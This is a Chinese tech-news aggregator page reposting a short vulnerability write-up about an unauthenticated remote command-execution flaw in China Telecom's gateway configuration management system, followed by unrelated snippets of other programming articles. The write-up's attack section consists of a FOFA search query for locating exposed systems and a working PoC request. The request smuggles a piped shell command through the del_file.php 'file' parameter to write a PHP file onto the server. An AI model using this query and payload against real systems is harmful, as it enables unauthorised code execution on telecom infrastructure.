当前位置： 首页 > news >正文

电信网关配置管理系统 del_file.php 前台RCE漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/139673746 2024/10/28 6:28:13

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能，从而确保网络的正常运行和高效性能。

0x02 漏洞概述

电信网关配置管理系统 /manager/newtpl/del_file.php 接口存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意代码，从而获取服务器权限。

0x03 复现环境

FOFA：body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=%20%7C%20base64%20-d%20%3E%20rce.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit

相关文章：

电信网关配置管理系统 del_file.php 前台RCE漏洞复现

0x01 产品简介 中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远…...

编程日记 2024/6/19 4:31:52

游戏心理学Day18

游戏玩家心理 在游戏世界中，设计师的工作总是围绕尽可能留住玩家要展开。在游戏创作时，设计师会假设目标诉讼的特点并激励迎合他们的需求，如果这种假设是经过实际调研之后做出的，那么就会比较接近实际情况而。如果这种假设是设计…...

编程日记 2024/6/19 4:30:51

发文章不违规的5种解决方案，非常适用，记得收藏！

之前以为使用AI写出来的文章，只要检测通过就不会违规，结果却还是让我有些失望。最近测试几款AI工具，测试结果都还是会存在违规情况，无法全文发布。 AI是听从人的指令，只能说是如何下指令，这个非常重要。至…...

编程日记 2024/6/19 4:29:50

【ARMv8/ARMv9 硬件加速系列 2.2 -- ARM NEON 的加减乘除(左移右移)运算】

文章目录 NEON 加减乘除NEON 加减乘除 下面代码是使用ARMv8汇编语言对向量寄存器v0-v31执行加、减、乘以及左移和右移操作的示例。 ARMv8的SIMD指令集允许对向量寄存器中的多个数据进行并行操作。v0和v1加载数据，对它们进行加、减和乘,左移和右移操作。最后，我们会将结果存储…...

编程日记 2024/6/19 4:28:49

[2024-06]-[大模型]-[Ollama]- WebUI

主要涉及要部署的前端webui是来源于：https://github.com/open-webui/open-webui 正常就使用： docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-web…...

编程日记 2024/6/19 4:25:46

AI智能盒子助力中钢天源设备工厂升级安全防护

中钢集团安徽天源科技股份有限公司成立于2002年3月27日,是中央企业中国中钢股份有限公司控股的上市公司，主导产品为永磁铁氧体器件、钕铁硼器件、四氧化三锰、锶铁氧体预烧料及各类磁选机等。 在中钢天源智能化升级过程中，采用并定制开发一系列厂区安全…...

编程日记 2024/6/19 4:24:45

RNN的变种们：GRULSTM双向RNN

上篇笔记记录到RNN的一个缺点：训练时会出现梯度消失，解决的办法是找到一个更优的计算单元。这里也有GRU和LSTM。 GRU（Gated Recurrent Unit）门控训练网络 什么是门控机制？就是对当前的输入进行一个筛选。门打开&…...

编程日记 2024/6/19 4:23:44

Linux网络-HttpServer的实现

文章目录 前言一、请求报文的解析URL的解析 二、响应报文的发送Content-LenthConten-TypeCookie和Set-CookieCookie的风险 三、尝试发送一个HTML网页404网页Location 重定向 四、浏览器的多次请求行为总结 前言 之前我们简单理解了一下Http协议，本章我们将在LInux下…...

编程日记 2024/6/19 4:22:41

GPT-4o的综合评估与前景展望

如何评价GPT-4o? GPT-4o作为OpenAI推出的最新一代大型语言模型，其性能、功能和应用前景都备受关注。以下是对GPT-4o的综合评估与前景展望： 一、技术性能评估 响应速度：GPT-4o在响应速度上有了显著提升，能够在极短的时间内对输入…...

编程日记 2024/6/19 4:21:40

私人云盘（自动云同步）

一、项目简介 模仿小米的云服务，实现一个通过TCP实现的私人云盘，因为能力有限，所以只实现自动云同步这一个功能，具体可以分为三个小功能，即保持云端和终端数据一致、实现文件的上传与下载以及手动同步 二、涉及到的知…...

编程日记 2024/6/19 4:19:38

【CMake】Linux 下权限丢失与软链接失效问题

【CMake】Linux 下权限丢失与软链接失效问题 文章目录 【CMake】Linux 下权限丢失与软链接失效问题问题概述解决方法1 - 安装目录2 - 安装文件3 - 手动指定 使用 Linux 下原生命令行注意事项参考链接 问题概述 一般使用 CMake 安装，在 Windows 平台不会出问题&…...

编程日记 2024/6/19 4:18:37

内部类介绍

内部类（Inner Class）是在另一个类的内部定义的类。它可以访问外部类的所有成员，包括私有成员。内部类有两种主要形式：局部内部类（定义在方法内部）和成员内部类（定义在类的内部，但不在…...

编程日记 2024/6/19 4:16:28

【CVPR2021】LoFTR：基于Transformers的无探测器的局部特征匹配方法

LoFTR：基于Transformers的局部检测器 0. 摘要 我们提出了一种新的局部图像特征匹配方法。我们建议先在粗略级别建立像素级密集匹配，然后再在精细级别细化良好匹配，而不是按顺序进行图像特征检测、描述和匹配。与使用成本体积搜索对应关系的密…...

编程日记 2024/6/19 4:15:27

总结一下 C# 如何自定义特性 Attribute 并进行应用

前言 Attribute（特性）是一种用于为程序元素（如类、方法、属性等）提供元数据信息的方法。 特性是一种声明式的信息，附加到程序元素上，提供额外的数据用于描述和控制这些元素的行为。 在编译和运行时&…...

编程日记 2024/6/19 4:14:26

三种暴露方法和引入方式

1.分别暴露 export ...export...用于按需导出一个或多个模块，在导入时需要使用花括号指定导入的模块名称，例如import { a, b } from module module.js中 export let a 1 export function b(){console.log(hello,vue) } 2.统一暴露 export { ...}用于统…...

编程日记 2024/6/19 4:11:23

“Git之道：掌握常用命令，轻松管理代码“

目录 1. 初始化和配置 2. 提交和更新 3. 分支和合并 4. 查看和比较 5. 远程仓库 6. 文件操作命令 1. 初始化和配置 git init：在当前目录初始化一个新的Git仓库git config：配置Git的全局或局部选项git clone：从远程仓库克隆一个本地副本…...

编程日记 2024/6/19 4:10:21

Linux vim 文本编辑 操作文本 三种模式

介绍 vi 是一个经典的行编辑器，支持模式编辑（包括普通模式、插入模式和命令模式）。 vim 保留vi核心功能的基础上，增加了多级撤销、语法高亮、插件支持等高级功能。 两者的最大区别，简单的来说vim就是vi的增强版 三…...

编程日记 2024/6/19 4:09:20

JavaFX DatePicker

JavaFX DatePicker允许从给定日历中选择一天。DatePicker控件包含一个带有日期字段和日期选择器的组合框。JavaFX DatePicker控件使用JDK8日期时间API。 import javafx.application.Application; import javafx.scene.Scene; import javafx.scene.control.DatePicker; import j…...

编程日记 2024/6/19 4:08:19

开展“安全生产月”活动向媒体投稿的好方法找到了

作为一名单位的信息宣传员,我的职责是确保每一次重要活动的声音都能准确无误地传达到社会的每一个角落。在这样的使命驱动下,我曾一度陷入了一种传统的投稿模式——依赖电子邮件,将精心准备的稿件一封封地发送给各大媒体。初入此行,我满心以为这便是信息传播的路径,却未料到,这…...

编程日记 2024/6/19 4:07:18

商讯杂志商讯杂志社商讯编辑部2024年第10期目录

案例分享 基于胜任素质的干部选拔和梯队建设体系探讨——以A区卫生健康系统为例 康文雁; 1-4 “家庭五险一金”对居民商业保险购买存在挤出效应——基于江苏省徐州、淮安、泰州三市的实证研究 李炳毅; 5-8 人口老龄化背景下促进徐州市经济高质量发展的探究 李艳秋;…...

编程日记 2024/6/19 4:06:16

在VS Code中快速生成Vue模板的技巧

配置vue.json: { "Print to console": {"prefix": "vue","body": ["<template>"," <div class\"\">\n"," </div>","</template>\n","<scri…...

编程日记 2024/6/19 4:04:13

新火种AI|Sora发布半年之后，AI视频生成领域风云再起

作者&#xff1a;一号 编辑&#xff1a;美美 AI视频最近有些疯狂&#xff0c;Sora可能要着急了。 自OpenAI的Sora发布以来&#xff0c;AI视频生成技术便成为了科技界的热门话题。尽管Sora以其卓越的性能赢得了广泛关注&#xff0c;但其迟迟未能面向公众开放&#xff0c;让人…...

编程日记 2024/6/19 4:03:12

《UNIX环境高级编程》第三版（电子工业出版社出品）——两年磨一剑的匠心译作

历时两年&#xff0c;《UNIX环境高级编程》的翻译工作终于落下帷幕。这一路走来&#xff0c;真可谓是如鱼饮水&#xff0c;冷暖自知。还记得最初看到招募译者消息的那一刻&#xff0c;内心的激动难以言表。我毫不犹豫地报名&#xff0c;而后经历了试译、海选等激烈的角逐&#…...

编程日记 2024/6/19 4:01:10

【RK3588/算能/Nvidia智能盒子】AI“值守”，规范新能源汽车充电站停车、烟火及充电乱象

近年来&#xff0c;中国新能源汽车高速发展&#xff0c;产量连续8年位居全球第一。根据中国充电联盟数据&#xff0c;截至2023年6月&#xff0c;新能源汽车保有量1620万辆&#xff0c;全国充电基础设施累计数量为665.2万台&#xff0c;车桩比约2.5:1。 虽然新能源汽车与充电桩供…...

编程日记 2024/6/19 4:00:07

使用ReentrantLock和ThreadPoolExecutor模拟抢课

这里主要是在场景下帮助理解ReentrantLock和线程池的使用。 import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock;public class GrabCourseTask implements Runnable {private final String studentName;private static int availableS…...

编程日记 2024/6/19 3:59:06

VirtFuzz：一款基于VirtIO的Linux内核模糊测试工具

关于VirtFuzz VirtFuzz是一款功能强大的Linux内核模糊测试工具&#xff0c;该工具使用LibAFL构建&#xff0c;可以利用VirtIO向目标设备的内核子系统提供输入测试用例&#xff0c;广大研究人员可以使用该工具测试Linux内核的安全性。 工具要求 1、Rust&#xff1b; 2、修补的Q…...

编程日记 2024/6/19 3:55:01

统计学一(术语，正态)

目录 一&#xff0c;常用术语 二&#xff0c;正态分布&#xff08;Normal Distribution&#xff09; 三&#xff0c;中心极限定理(Central Limit Theorem) 一&#xff0c;常用术语 population(族群)&#xff1a;要统计的总的 populationSize(族群数量)&#xff1a;要统计的总…...

编程日记 2024/6/19 3:52:59

CleanMyMac X for Mac系统优化垃圾清理软件卸载 工具(小白轻松上手，简单易学)

Mac分享吧 文章目录 效果一、准备工作二、开始安装1、双击运行软件&#xff0c;将其从左侧拖入右侧文件夹中&#xff0c;等待安装完毕2、启动台显示软件图标&#xff0c;表示安装成功 三、运行测试1、打开软件&#xff0c;配置2、授权&#xff0c;允许完全磁盘访问 安装完成&a…...

编程日记 2024/6/19 3:51:58

从0开始开发一个简单web界面的学习笔记(HTML类)

文章目录 什么是HTML页面vscode 开放工具搭建第一个HTML页面编写vscode 如何快速生成代码框架html标签——注释、标题、段落、换行标签格式化标签img 标签(src 属性01)img 属性02(alt、title、width/height、border)a标签href属性a标签target属性表格标签01 基本属性表格标签02…...

编程日记 2024/6/19 3:50:57

【机器学习】对大规模的文本数据进行多标签的分类处理

1. 引言 1.1. NLP研究的背景 随着人工智能技术的飞速发展&#xff0c;智能助手、聊天机器人和虚拟客服的需求正呈现出爆炸性增长。这些技术不仅为人们提供了极大的生活便利&#xff0c;如日程管理、信息查询和情感陪伴&#xff0c;还在工作场景中显著提高了效率。聊天机器人凭…...

编程日记 2024/6/19 3:49:56

做旅游网站推广/推广之家

C#中int.Parse()、int.TryParse()、Convert.ToInt32()的区别 2018年09月12日 17:15:51 鱼巷、猫未随 阅读数 316 ①int.Parse(string类型变量名) 该方式是将数字内容的字符串转为int类型&#xff0c; 如果字符串内容为空或者null时&#xff0c;则抛出ArgumentNullException异…...

编程日记 2024/10/28 5:59:24

个体工商户怎么做网站/网站建设优化的技巧

本文主要讲解了Linux 二层协议架构组织&#xff0c;使用的内核的版本是2.6.32.27为了方便理解&#xff0c;本文采用整体流程图加伪代码的方式从内核高层面上梳理了Linux 二层协议架构组织&#xff0c;希望可以对大家有所帮助。阅读本文章假设大家对C语言有了一定的了解Linux中1…...

编程日记 2024/10/28 3:11:02

o2o网站建设渠道/10条重大新闻

神图压镇&#xff01;​ExpandableListActivity1.生成一个新的activity要继承ExpandableListActivitypublic class MainActivity extends ExpandableListActivity2.为一级列表和二级列表&#xff0c;一级主activity分别创建布局文件。2.1main的布局文件中主要是要声明总的acivi…...

编程日记 2024/10/27 17:33:06

iis默认网站 建设中/大数据营销成功案例

1&#xff0c;StringBuffer的构造方法&#xff1a; public StringBuffer():无参构造方法 public StringBuffer(int capacity):指定容量的字符串缓冲区对象 public StringBuffer(String str):指定字符串内容的字符串缓冲区对象 2&#xff0c;StringBuffer的方法&#xff1a; p…...

编程日记 2024/10/27 16:55:47

风雨同舟网站建设/腾讯中国联通

CDN的全称是Content Delivery Network&#xff0c;即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节&#xff0c;使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络&#x…...

编程日记 2024/10/27 15:36:42

官网 wordpress/营销网络

执行如下truncate语句删除linked server的表会有报错 truncate table Linkserver1.DB1.dbo.Table1; 报错 Cannot find the object “Table1” because it does not exist or you do not have permissions. 解决方法&#xff0c;在linked server上使用sp_executesql即可 exec L…...

编程日记 2024/10/27 15:34:34